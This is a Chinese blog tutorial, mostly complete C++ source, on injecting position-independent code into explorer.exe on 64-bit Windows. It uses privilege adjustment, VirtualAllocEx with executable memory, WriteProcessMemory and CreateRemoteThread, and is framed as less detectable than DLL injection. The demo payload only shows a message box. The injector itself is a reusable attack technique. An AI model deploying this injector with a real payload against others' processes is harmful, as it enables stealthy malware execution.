远程线程shellcode注入

高手请飘过~~~~~~~~~~~~~~~~~~~~~~~~~~~

         前一篇文章,写到了利用远程线程注入DLL,其原理是利用LoadLibaray把DLL加载进去,这种方式注入简单,但是会在对方进程加载一个模块。人家用工具一看,多了个模块,就知道被搞了。。。

          今天写下用远程线程注入shellcode, 注入shellcode的难点是,注入的代码不能访问绝对地址。比如不能存在对全局变量的访问,不能调用API,因为你的代码注入到人家进程空间,相应的绝对地址,很可能不是一个全局变量,或者你要调用的API。关于shellcode更多的知识,需要自己去查找更多资料,我也只懂点皮毛,就不多说了。

           利用远程线程注入shellcode和注入dll的优缺点建议大家看这篇文章:

https://www.cnblogs.com/BoyXiao/archive/2011/08/11/2134367.html

 

          注入shellcode,原理很简单,在目标进程开辟一段空间,分别将shellcode写过去,这个写过去的shellcode就是远程线程要执行的代码,再将shellcode需要的参数写过去。那么写过去的这两段数据分别是CreateRemoteThread的第四个第五个参数。

         代码如下:代码中有几个函数,很常用,我放到DLL中了,所以这里你看不到实现,如果需要完整代码可以QQ844255657,或者百度一下,一个是提权代码,一个是根据进程名获取PID,网上一把大。另外计算shellcode的大小时,我是利用两个函数地址相减,获得shellcode的大小,我在IDA中看了下,这两个函数正好相邻,所以我就用两个地址相减。这不知道是不是巧合。需要特别之处的是,程序是64位的。不知道32位的是不是编译后两个函数不会相邻了。这个有懂得希望留言。另外在说下shellcode就是函数:DWORD WINAPI RemoteThreadProc(LPVOID lpParameter) 。 怕新手不懂多啰嗦一句。

 

// InjectCodeByRemoteThread.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <Windows.h>
#include <Psapi.h>

#include "D:\\VS\\DllToInject\\DllToInject\\Utils.h"
#pragma comment(lib, "D:\\VS\\DllToInject\\x64\\Release\\UtilDll.lib")


typedef int (* FUN_MessageBox)(
	HWND hWnd,          
	LPCTSTR lpText,     
	LPCTSTR lpCaption, 
	UINT uType          
);

typedef struct tagRemoteMsgBoxData{
	FUN_MessageBox pfn;
	CHAR lpText[MAX_PATH];
	CHAR lpCaption[MAX_PATH];
}REMOTE_MSG_BOX_DATA, *PREMOTE_MSG_BOX_DATA;


typedef DWORD(WINAPI * FUN_RemoteThreadProc)(LPVOID lpParameter);

DWORD WINAPI RemoteThreadProc(LPVOID lpParameter){
	PREMOTE_MSG_BOX_DATA pRemoteData = (PREMOTE_MSG_BOX_DATA)lpParameter;
	pRemoteData->pfn(NULL, pRemoteData->lpText, pRemoteData->lpCaption, MB_OK);
	return 1;
}


void FillRemoteMsgBoxData(PREMOTE_MSG_BOX_DATA pRemoteMsgBox){
	HMODULE  hUser32 = LoadLibrary("User32.dll");
	pRemoteMsgBox->pfn = (FUN_MessageBox)GetProcAddress(hUser32, "MessageBoxA");
	strcpy(pRemoteMsgBox->lpText, "this is content");
	strcpy(pRemoteMsgBox->lpCaption, "this is title");
	FreeLibrary(hUser32);
}


int _tmain(int argc, _TCHAR* argv[])
{
	
	
	//两个函数地址的差值就是shellcode代码的大小,可能会有一些多的对齐数据,但是不影响
	DWORD funcSize = (DWORD)FillRemoteMsgBoxData - (DWORD)RemoteThreadProc;
	printf("shellcode size =%d\n", funcSize);

	
	REMOTE_MSG_BOX_DATA remoteData = { 0 };
	FillRemoteMsgBoxData(&remoteData);

	
	if (!AdjustProcessTokenPrivilege()){
		MyOutputDebugString("提权失败\n");
	}

	DWORD dwPid = GetPidByName("explorer.exe");
	if (dwPid == 0){
		MyOutputDebugString("GetPidByName failed\n");
		return -1;
	}

	MyOutputDebugString("explorer.exe pid=%d\n", dwPid);

	HANDLE hProcess;
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);

	if (hProcess == NULL)
	{
		MyOutputDebugString("打开进程失败!!!!");
		return -1;
	}

	//1.在远程进程中分配内存,可读可写可执行
	LPVOID pszRemoteBuffer = (char *)VirtualAllocEx(hProcess, NULL, USN_PAGE_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	if (pszRemoteBuffer == NULL)
	{
		MyOutputDebugString("申请远程空间失败");
		return -1;
	}

	//2.在远程申请的内存空间中写入shellcode
	SIZE_T dwWriten = 0;
	if (!WriteProcessMemory(hProcess, pszRemoteBuffer, RemoteThreadProc, funcSize, &dwWriten))
	{
		MyOutputDebugString("写入内存失败");
		return -1;
	}
	printf("shellcode write bytes:%d\n", dwWriten);


	//3.在远程申请的内存空间中写MessageBox的数据{函数地址,content , title}
	dwWriten = 0;
	if (!WriteProcessMemory(hProcess, (CHAR *)pszRemoteBuffer + funcSize, &remoteData, sizeof(remoteData), &dwWriten))
	{
		MyOutputDebugString("写入内存失败");
		return -1;
	}

	//4.创建远程线程
	DWORD dwThreadId = 0;
	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (FUN_RemoteThreadProc)pszRemoteBuffer, (CHAR *)pszRemoteBuffer + funcSize, 0, &dwThreadId);

	if (hThread == NULL)
	{
		MyOutputDebugString("创建远程线程失败 %d\n", GetLastError());
		return -1;
	}

	//5 等待远程线程退出,等待shellcode执行完毕
	DWORD exitCode = 0;
	DWORD dwRet = 0;
	WaitForSingleObject(hThread, INFINITE);
	dwRet = GetExitCodeThread(hThread, &exitCode);

	
	if (dwRet == 0){
		printf("GetExitCodeThread failed\n");
		return -1;
	}

	//6 检查退出码,如果退出码等于1,说明shellcode执行成功
	//为什么等于1执行成功,shellcode返回值是1啊
	if (exitCode == 1){
		printf("shell code execute success\n");
	}

	//释放内存,关闭句柄等
	VirtualFreeEx(hProcess, pszRemoteBuffer, USN_PAGE_SIZE, MEM_DECOMMIT);
	::CloseHandle(hThread);
	::CloseHandle(hProcess);

	return 0;
}

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值